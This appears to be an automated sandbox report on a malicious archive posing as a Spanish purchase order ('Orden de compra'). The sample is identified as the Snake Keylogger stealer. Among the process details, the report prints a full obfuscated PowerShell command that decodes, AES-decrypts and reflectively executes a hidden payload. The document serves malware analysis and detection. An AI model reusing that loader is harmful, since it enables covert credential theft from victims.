File name:

15052025_1745_Ordendecompra015647.js.zip

Full analysis: https://app.any.run/tasks/452b462f-4994-4b3b-a1d5-f83331928c9a
Verdict: Malicious activity
Threats:

A keylogger is a type of spyware that infects a system and has the ability to record every keystroke made on the device. This lets attackers collect personal information of victims, which may include their online banking credentials, as well as personal conversations. The most widespread vector of attack leading to a keylogger infection begins with a phishing email or link. Keylogging is also often present in remote access trojans as part of an extended set of malicious tools.

Malware Trends Tracker     >>>
Analysis date: May 15, 2025, 17:51:15
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
generic
arch-scr
snake
keylogger
evasion
stealer
susp-powershell
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract, compression method=deflate
MD5:

E08D04D38520206867F5A8C53A7A753B

SHA1:

4C9289F9AF19A7F6D60DBD57F40D35DA9CFA446B

SHA256:

CBA8DDE3FC0E4E2ED9E405EF64DE94F9EC78ABC17E8A18739B25D610F3AC5D4E

SSDEEP:

1536:xft/dbVnhv+kpvxgUja18oUoEBHRYOgxwY6prQWw1kTkzJ:bdZndPoUjhTo1YQdJ

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Gets path to any of the special folders (SCRIPT)

      • wscript.exe (PID: 7560)

    • Generic archive extractor

      • WinRAR.exe (PID: 7420)

    • Changes powershell execution policy (Bypass)

      • cmd.exe (PID: 7672)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 7740)

    • Uses AES cipher (POWERSHELL)

      • powershell.exe (PID: 7740)

    • Gets or sets the symmetric key that is used for encryption and decryption (POWERSHELL)

      • powershell.exe (PID: 7740)

    • Actions looks like stealing of personal data

      • powershell.exe (PID: 7740)

    • SNAKEKEYLOGGER has been detected (SURICATA)

      • powershell.exe (PID: 7740)

    • Request from PowerShell which ran from CMD.EXE

      • powershell.exe (PID: 7740)

    • Steals credentials from Web Browsers

      • powershell.exe (PID: 7740)

    • Gets or sets the initialization vector for the symmetric algorithm (POWERSHELL)

      • powershell.exe (PID: 7740)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • wscript.exe (PID: 7560)
      • cmd.exe (PID: 7612)

    • Writes binary data to a Stream object (SCRIPT)

      • wscript.exe (PID: 7560)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 7560)

    • Executing commands from a ".bat" file

      • wscript.exe (PID: 7560)
      • cmd.exe (PID: 7612)

    • Creates FileSystem object to access computer's file system (SCRIPT)

      • wscript.exe (PID: 7560)

    • Application launched itself

      • cmd.exe (PID: 7612)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 7672)

    • Possibly malicious use of IEX has been detected

      • cmd.exe (PID: 7672)

    • The process bypasses the loading of PowerShell profile settings

      • cmd.exe (PID: 7672)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 7740)

    • Checks for external IP

      • svchost.exe (PID: 2196)
      • powershell.exe (PID: 7740)

    • The process verifies whether the antivirus software is installed

      • powershell.exe (PID: 7740)

  • INFO

    • Manual execution by a user

      • wscript.exe (PID: 7560)

    • Converts byte array into Unicode string (POWERSHELL)

      • powershell.exe (PID: 7740)

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 7740)

    • Converts byte array into ASCII string (POWERSHELL)

      • powershell.exe (PID: 7740)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 7740)

    • Checks proxy server information

      • powershell.exe (PID: 7740)
      • slui.exe (PID: 8188)

    • Disables trace logs

      • powershell.exe (PID: 7740)

    • Found Base64 encoded access to Marshal class via PowerShell (YARA)

      • cmd.exe (PID: 7672)
      • powershell.exe (PID: 7740)

    • Found Base64 encoded text manipulation via PowerShell (YARA)

      • powershell.exe (PID: 7740)

    • Found Base64 encoded reflection usage via PowerShell (YARA)

      • powershell.exe (PID: 7740)

    • Reads the software policy settings

      • slui.exe (PID: 8188)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: -
ZipCompression: Deflated
ZipModifyDate: 2025:05:14 18:12:26
ZipCRC: 0xaf8ff548
ZipCompressedSize: 58549
ZipUncompressedSize: 128597
ZipFileName: Orden de compra 015647.js
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
129
Monitored processes
9
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winrar.exe no specs wscript.exe no specs cmd.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs #SNAKEKEYLOGGER powershell.exe svchost.exe slui.exe

Process information

PID
CMD
Path
Indicators
Parent process
2196C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
7420"C:\Program Files\WinRAR\WinRAR.exe" C:\Users\admin\Desktop\15052025_1745_Ordendecompra015647.js.zipC:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
7560"C:\Windows\System32\WScript.exe" "C:\Users\admin\Desktop\Orden de compra 015647.js"C:\Windows\System32\wscript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7612"C:\Windows\System32\cmd.exe" /c "C:\Users\admin\AppData\Local\Temp\temp_477639.bat"C:\Windows\System32\cmd.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
c:\windows\system32\advapi32.dll
7620\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7672C:\WINDOWS\system32\cmd.exe /K "C:\Users\admin\AppData\Local\Temp\temp_477639.bat" C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
c:\windows\system32\advapi32.dll
7688\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7740"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiRueXFmYiA9IEAnDQokbGd5aXRjdXl3bWppdGN1Z3BseHp0Y3VpID0gJHRjdWVudjpVdGN1U0VSTkF0Y3VNRTskbnRjdWl2cW1zdGN1amd2aWN0Y3VnamF3IHRjdT0gIkM6dGN1XFVzZXJ0Y3VzXCRsZ3RjdXlpeXdtdGN1amlncGx0Y3V4emlcZHRjdXdtLmJhdGN1dCI7aWZ0Y3UgKFRlc3RjdXQtUGF0dGN1aCAkbml0Y3V2cW1zanRjdWd2aWNndGN1amF3KSB0Y3V7ICAgIHRjdVdyaXRldGN1LUhvc3R0Y3UgIkJhdHRjdWNoIGZpdGN1bGUgZm90Y3V1bmQ6IHRjdSRuaXZxdGN1bXNqZ3Z0Y3VpY2dqYXRjdXciIC1GdGN1b3JlZ3J0Y3VvdW5kQ3RjdW9sb3IgdGN1Q3lhbjt0Y3UgICAgJHRjdWZpbGVMdGN1aW5lcyB0Y3U9IFtTeXRjdXN0ZW0udGN1SU8uRml0Y3VsZV06OnRjdVJlYWRBdGN1bGxMaW50Y3VlcygkbnRjdWl2cW1zdGN1amd2aWN0Y3VnamF3LHRjdSBbU3lzdGN1dGVtLlR0Y3VleHQuRXRjdW5jb2RpdGN1bmddOjp0Y3VVVEY4KXRjdTsgICAgdGN1Zm9yZWF0Y3VjaCAoJHRjdWxpbmUgdGN1aW4gJGZ0Y3VpbGVMaXRjdW5lcykgdGN1eyAgICB0Y3UgICAgaXRjdWYgKCRsdGN1aW5lIC10Y3VtYXRjaHRjdSAnXjo6dGN1OiA/KC50Y3UrKSQnKXRjdSB7ICAgdGN1ICAgICB0Y3UgICAgV3RjdXJpdGUtdGN1SG9zdCB0Y3UiSW5qZXRjdWN0aW9udGN1IGNvZGV0Y3UgZGV0ZXRjdWN0ZWQgdGN1aW4gdGh0Y3VlIGJhdHRjdWNoIGZpdGN1bGUuIiB0Y3UtRm9yZXRjdWdyb3VudGN1ZENvbG90Y3VyIEN5YXRjdW47ICAgdGN1ICAgICB0Y3UgICAgdHRjdXJ5IHsgdGN1ICAgICB0Y3UgICAgIHRjdSAgICAgdGN1JGRlY290Y3VkZWRCeXRjdXRlcyA9dGN1IFtTeXN0Y3V0ZW0uQ3RjdW9udmVydGN1dF06OkZ0Y3Vyb21CYXRjdXNlNjRTdGN1dHJpbmd0Y3UoJG1hdHRjdWNoZXNbdGN1MV0uVHJ0Y3VpbSgpKXRjdTsgICAgdGN1ICAgICB0Y3UgICAgIHRjdSAgJGludGN1amVjdGl0Y3VvbkNvZHRjdWUgPSBbdGN1U3lzdGV0Y3VtLlRleHRjdXQuRW5jdGN1b2Rpbmd0Y3VdOjpVbnRjdWljb2RldGN1LkdldFN0Y3V0cmluZ3RjdSgkZGVjdGN1b2RlZEJ0Y3V5dGVzKXRjdTsgICAgdGN1ICAgICB0Y3UgICAgIHRjdSAgV3JpdGN1dGUtSG90Y3VzdCAiSXRjdW5qZWN0dGN1aW9uIGN0Y3VvZGUgZHRjdWVjb2RldGN1ZCBzdWN0Y3VjZXNzZnRjdXVsbHkudGN1IiAtRm90Y3VyZWdyb3RjdXVuZENvdGN1bG9yIEd0Y3VyZWVuO3RjdSAgICAgdGN1ICAgICB0Y3UgICAgIHRjdSBXcml0dGN1ZS1Ib3N0Y3V0ICJFeHRjdWVjdXRpdGN1bmcgaW50Y3VqZWN0aXRjdW9uIGNvdGN1ZGUuLi50Y3UiIC1Gb3RjdXJlZ3JvdGN1dW5kQ290Y3Vsb3IgWXRjdWVsbG93dGN1OyAgICB0Y3UgICAgIHRjdSAgICAgdGN1ICBJbnZ0Y3Vva2UtRXRjdXhwcmVzdGN1c2lvbiB0Y3UkaW5qZXRjdWN0aW9udGN1Q29kZTt0Y3UgICAgIHRjdSAgICAgdGN1ICAgICB0Y3UgYnJlYXRjdWs7ICAgdGN1ICAgICB0Y3UgICAgfXRjdSBjYXRjdGN1aCB7ICB0Y3UgICAgIHRjdSAgICAgdGN1ICAgIFd0Y3VyaXRlLXRjdUhvc3QgdGN1IkVycm90Y3VyIGR1cnRjdWluZyBkdGN1ZWNvZGl0Y3VuZyBvcnRjdSBleGVjdGN1dXRpbmd0Y3UgaW5qZXRjdWN0aW9udGN1IGNvZGV0Y3U6ICRfInRjdSAtRm9ydGN1ZWdyb3V0Y3VuZENvbHRjdW9yIFJldGN1ZDsgICB0Y3UgICAgIHRjdSAgICB9dGN1OyAgICB0Y3UgICAgfXRjdTsgICAgdGN1fTt9IGV0Y3Vsc2Uge3RjdSAgICAgdGN1IFdyaXR0Y3VlLUhvc3RjdXQgIlN5dGN1c3RlbSB0Y3VFcnJvcnRjdTogQmF0dGN1Y2ggZml0Y3VsZSBub3RjdXQgZm91dGN1bmQ6ICR0Y3VuaXZxbXRjdXNqZ3ZpdGN1Y2dqYXd0Y3UiIC1Gb3RjdXJlZ3JvdGN1dW5kQ290Y3Vsb3IgUnRjdWVkOyAgdGN1ICBleGl0Y3V0O307ZnRjdXVuY3RpdGN1b24gb210Y3VvcW1hb3RjdWNxdGFudGN1dGxiKCR0Y3VwYXJhbXRjdV92YXIpdGN1ewkkYWV0Y3VzX3ZhcnRjdT1bU3lzdGN1dGVtLlN0Y3VlY3VyaXRjdXR5LkNydGN1eXB0b2d0Y3VyYXBoeXRjdS5BZXNddGN1OjpDcmV0Y3VhdGUoKXRjdTsJJGFldGN1c192YXJ0Y3UuTW9kZXRjdT1bU3lzdGN1dGVtLlN0Y3VlY3VyaXRjdXR5LkNydGN1eXB0b2d0Y3VyYXBoeXRjdS5DaXBodGN1ZXJNb2R0Y3VlXTo6Q3RjdUJDOwkkdGN1YWVzX3Z0Y3Vhci5QYXRjdWRkaW5ndGN1PVtTeXN0Y3V0ZW0uU3RjdWVjdXJpdGN1dHkuQ3J0Y3V5cHRvZ3RjdXJhcGh5dGN1LlBhZGR0Y3VpbmdNb3RjdWRlXTo6dGN1UEtDUzd0Y3U7CSRhZXRjdXNfdmFydGN1LktleT10Y3VbU3lzdHRjdWVtLkNvdGN1bnZlcnR0Y3VdOjpGcnRjdW9tQmFzdGN1ZTY0U3R0Y3VyaW5nKHRjdSdzWFZZdGN1N3NEaDR0Y3VRaDJqbnRjdTFFc0EzdGN1anFOK050Y3VRbnFKeHRjdVc4K0RQdGN1dnhlRmp0Y3V6bEZNPXRjdScpOwkkdGN1YWVzX3Z0Y3Vhci5JVnRjdT1bU3lzdGN1dGVtLkN0Y3VvbnZlcnRjdXRdOjpGdGN1cm9tQmF0Y3VzZTY0U3RjdXRyaW5ndGN1KCdaNnd0Y3VxK1ZDSXRjdVFjZWdBdGN1MzNMTk10Y3VhclBRPXRjdT0nKTsJdGN1JGRlY3J0Y3V5cHRvcnRjdV92YXI9dGN1JGFlc190Y3V2YXIuQ3RjdXJlYXRldGN1RGVjcnl0Y3VwdG9yKHRjdSk7CSRydGN1ZXR1cm50Y3VfdmFyPXRjdSRkZWNydGN1eXB0b3J0Y3VfdmFyLnRjdVRyYW5zdGN1Zm9ybUZ0Y3VpbmFsQnRjdWxvY2sodGN1JHBhcmF0Y3VtX3ZhcnRjdSwgMCwgdGN1JHBhcmF0Y3VtX3ZhcnRjdS5MZW5ndGN1dGgpOwl0Y3UkZGVjcnRjdXlwdG9ydGN1X3Zhci50Y3VEaXNwb3RjdXNlKCk7dGN1CSRhZXN0Y3VfdmFyLnRjdURpc3BvdGN1c2UoKTt0Y3UJJHJldHRjdXVybl92dGN1YXI7fWZ0Y3V1bmN0aXRjdW9uIHZtdGN1bG1pY210Y3VmdmxvYnRjdXNwcCgkdGN1cGFyYW10Y3VfdmFyKXRjdXsJJGFvdGN1Z3Bha3l0Y3V4d2dzZHRjdXl2cj1OdGN1ZXctT2J0Y3VqZWN0IHRjdVN5c3RldGN1bS5JTy50Y3VNZW1vcnRjdXlTdHJldGN1YW0oLCR0Y3VwYXJhbXRjdV92YXIpdGN1OwkkbnJ0Y3VlY3NzcHRjdW5leWNodGN1dGV4PU50Y3Vldy1PYnRjdWplY3QgdGN1U3lzdGV0Y3VtLklPLnRjdU1lbW9ydGN1eVN0cmV0Y3VhbTsJJHRjdXl2bmFzdGN1bWhla3F0Y3V4b3BmcHRjdT1OZXctdGN1T2JqZWN0Y3V0IFN5c3RjdXRlbS5JdGN1Ty5Db210Y3VwcmVzc3RjdWlvbi5HdGN1WmlwU3R0Y3VyZWFtKHRjdSRhb2dwdGN1YWt5eHd0Y3Vnc2R5dnRjdXIsIFtJdGN1Ty5Db210Y3VwcmVzc3RjdWlvbi5DdGN1b21wcmV0Y3Vzc2lvbnRjdU1vZGVddGN1OjpEZWN0Y3VvbXByZXRjdXNzKTsJdGN1JHl2bmF0Y3VzbWhla3RjdXF4b3BmdGN1cC5Db3B0Y3V5VG8oJHRjdW5yZWNzdGN1c3BuZXl0Y3VjaHRleHRjdSk7CSR5dGN1dm5hc210Y3VoZWtxeHRjdW9wZnAudGN1RGlzcG90Y3VzZSgpO3RjdQkkYW9ndGN1cGFreXh0Y3V3Z3NkeXRjdXZyLkRpdGN1c3Bvc2V0Y3UoKTsJJHRjdW5yZWNzdGN1c3BuZXl0Y3VjaHRleHRjdS5EaXNwdGN1b3NlKCl0Y3U7CSRucnRjdWVjc3NwdGN1bmV5Y2h0Y3V0ZXguVHRjdW9BcnJhdGN1eSgpO310Y3VmdW5jdHRjdWlvbiBndGN1Z29wc2J0Y3VscGVvZnRjdWF6bWIodGN1JHBhcmF0Y3VtX3ZhcnRjdSwkcGFydGN1YW0yX3Z0Y3Vhcil7CXRjdSR6b2pkdGN1eXd4cXd0Y3V3bGJicXRjdXk9W1N5dGN1c3RlbS50Y3VSZWZsZXRjdWN0aW9udGN1LkFzc2V0Y3VtYmx5XXRjdTo6KCdkdGN1YW9MJ1t0Y3UtMS4uLXRjdTRdIC1qdGN1b2luICd0Y3UnKShbYnRjdXl0ZVtddGN1XSRwYXJ0Y3VhbV92YXRjdXIpOwkkdGN1ZGZ0eWh0Y3V3cXhkZnRjdWdudGx2dGN1PSR6b2p0Y3VkeXd4cXRjdXd3bGJidGN1cXkuRW50Y3V0cnlQb3RjdWludDsJdGN1JGRmdHl0Y3Vod3F4ZHRjdWZnbnRsdGN1di5JbnZ0Y3Vva2UoJHRjdW51bGwsdGN1ICRwYXJ0Y3VhbTJfdnRjdWFyKTt9dGN1JGhvc3R0Y3UuVUkuUnRjdWF3VUkudGN1V2luZG90Y3V3VGl0bHRjdWUgPSAkdGN1bml2cW10Y3Vzamd2aXRjdWNnamF3dGN1OyRrcGV0Y3VodnFucnRjdWV5ZnZqdGN1Y2I9W1N0Y3V5c3RlbXRjdS5JTy5GdGN1aWxlXTp0Y3U6KCd0eHRjdWVUbGxBdGN1ZGFlUid0Y3VbLTEuLnRjdS0xMV0gdGN1LWpvaW50Y3UgJycpKHRjdSRuaXZxdGN1bXNqZ3Z0Y3VpY2dqYXRjdXcpLlNwdGN1bGl0KFt0Y3VFbnZpcnRjdW9ubWVudGN1dF06Ok50Y3Vld0xpbnRjdWUpO2ZvdGN1cmVhY2h0Y3UgKCR3enRjdWV1d3dpdGN1YmN6eGZ0Y3V2YmYgaXRjdW4gJGtwdGN1ZWh2cW50Y3VyZXlmdnRjdWpjYikgdGN1ewlpZiB0Y3UoJHd6ZXRjdXV3d2lidGN1Y3p4ZnZ0Y3ViZi5TdHRjdWFydHNXdGN1aXRoKCd0Y3U6OiAnKXRjdSkJewkJdGN1JGFtaWt0Y3VzdWNsaHRjdWV6cnFydGN1aD0kd3p0Y3VldXd3aXRjdWJjenhmdGN1dmJmLlN0Y3V1YnN0cnRjdWluZygzdGN1KTsJCWJ0Y3VyZWFrO3RjdQl9fSRmdGN1dnNia3B0Y3VoY2RtcnRjdWxna3U9dGN1W3N0cml0Y3VuZ1tdXXRjdSRhbWlrdGN1c3VjbGh0Y3VlenJxcnRjdWguU3BsdGN1aXQoJ1x0Y3UnKTskb3RjdWhrYnpqdGN1YXVzb2p0Y3VhdW5uPXRjdXZtbG1pdGN1Y21mdmx0Y3VvYnNwcHRjdSAob21vdGN1cW1hb2N0Y3VxdGFudHRjdWxiIChbdGN1Q29udmV0Y3VydF06OnRjdUZyb21CdGN1YXNlNjR0Y3VTdHJpbnRjdWcoJGZ2dGN1c2JrcGh0Y3VjZG1ybHRjdWdrdVswdGN1XSkpKTt0Y3UkYXJ4ZHRjdXVibnRxdGN1cHhubmp0Y3VnPXZtbHRjdW1pY21mdGN1dmxvYnN0Y3VwcCAob3RjdW1vcW1hdGN1b2NxdGF0Y3VudGxiIHRjdShbQ29udGN1dmVydF10Y3U6OkZyb3RjdW1CYXNldGN1NjRTdHJ0Y3VpbmcoJHRjdWZ2c2JrdGN1cGhjZG10Y3VybGdrdXRjdVsxXSkpdGN1KTtnZ290Y3Vwc2JscHRjdWVvZmF6dGN1bWIgJG90Y3Voa2J6anRjdWF1c29qdGN1YXVubiB0Y3UkbnVsbHRjdTtnZ29wdGN1c2JscGV0Y3VvZmF6bXRjdWIgJGFydGN1eGR1Ym50Y3V0cXB4bnRjdW5qZyAodGN1LFtzdHJ0Y3VpbmdbXXRjdV0gKCcldGN1KicpKTsNCidADQoNCiRlYWhweiA9ICRueXFmYiAtcmVwbGFjZSAndGN1JywgJycNCg0KSW52b2tlLUV4cHJlc3Npb24gJGVhaHB6DQo=')) | Invoke-Expression"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
8188C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
Total events
10 552
Read events
10 529
Write events
23
Delete events
0

Modification events

(PID) Process:(7420) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\preferences.zip
(PID) Process:(7420) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\chromium_ext.zip
(PID) Process:(7420) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\omni_23_10_2024_.zip
(PID) Process:(7420) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\Desktop\15052025_1745_Ordendecompra015647.js.zip
(PID) Process:(7420) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(7420) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(7420) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(7420) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(7560) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe
Operation:writeName:JScriptSetScriptStateStarted
Value:
D7D9100000000000
(PID) Process:(7740) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
Executable files
0
Suspicious files
1
Text files
4
Unknown types
0

Dropped files

PID
Process
Filename
Type
7740powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_zewmwarn.4jk.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7740powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:8E7D26D71A1CAF822C338431F0651251
SHA256:495E7C4588626236C39124CCE568968E874BEDA950319BA391665B43DE111084
7560wscript.exeC:\Users\admin\AppData\Local\Temp\temp_477639.battext
MD5:F9381AD6D4C688EC76065CF5BF702A4E
SHA256:3C04E7B6073BB75B5339AC917693EECBCF73723B132998E95D48BFE078A57D57
7740powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_muziz5kq.r4e.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7672cmd.exeC:\Users\admin\dwm.battext
MD5:F9381AD6D4C688EC76065CF5BF702A4E
SHA256:3C04E7B6073BB75B5339AC917693EECBCF73723B132998E95D48BFE078A57D57
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
10
TCP/UDP connections
39
DNS requests
14
Threats
7

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
7740
powershell.exe
GET
200
193.122.6.168:80
http://checkip.dyndns.org/
unknown
—
—
whitelisted
7980
SIHClient.exe
GET
200
23.48.23.169:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
7980
SIHClient.exe
GET
200
23.52.120.96:80
http://www.microsoft.com/pkiops/crl/Microsoft%20Update%20Signing%20CA%202.1.crl
unknown
—
—
whitelisted
7980
SIHClient.exe
GET
200
23.48.23.169:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut_2010-06-23.crl
unknown
—
—
whitelisted
7980
SIHClient.exe
GET
200
23.48.23.169:80
http://crl.microsoft.com/pki/crl/products/MicTimStaPCA_2010-07-01.crl
unknown
—
—
whitelisted
7980
SIHClient.exe
GET
200
23.52.120.96:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
7740
powershell.exe
GET
200
193.122.6.168:80
http://checkip.dyndns.org/
unknown
—
—
whitelisted
7980
SIHClient.exe
GET
200
23.52.120.96:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Signing%20CA%202.1.crl
unknown
—
—
whitelisted
7980
SIHClient.exe
GET
200
23.52.120.96:80
http://www.microsoft.com/pkiops/crl/Microsoft%20Update%20Signing%20CA%202.2.crl
unknown
—
—
whitelisted
7980
SIHClient.exe
GET
200
23.52.120.96:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Signing%20CA%202.2.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
6544
svchost.exe
20.190.160.67:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
7740
powershell.exe
193.122.6.168:80
checkip.dyndns.org
ORACLE-BMC-31898
DE
whitelisted
7740
powershell.exe
104.21.48.1:443
reallyfreegeoip.org
CLOUDFLARENET
—
malicious
7980
SIHClient.exe
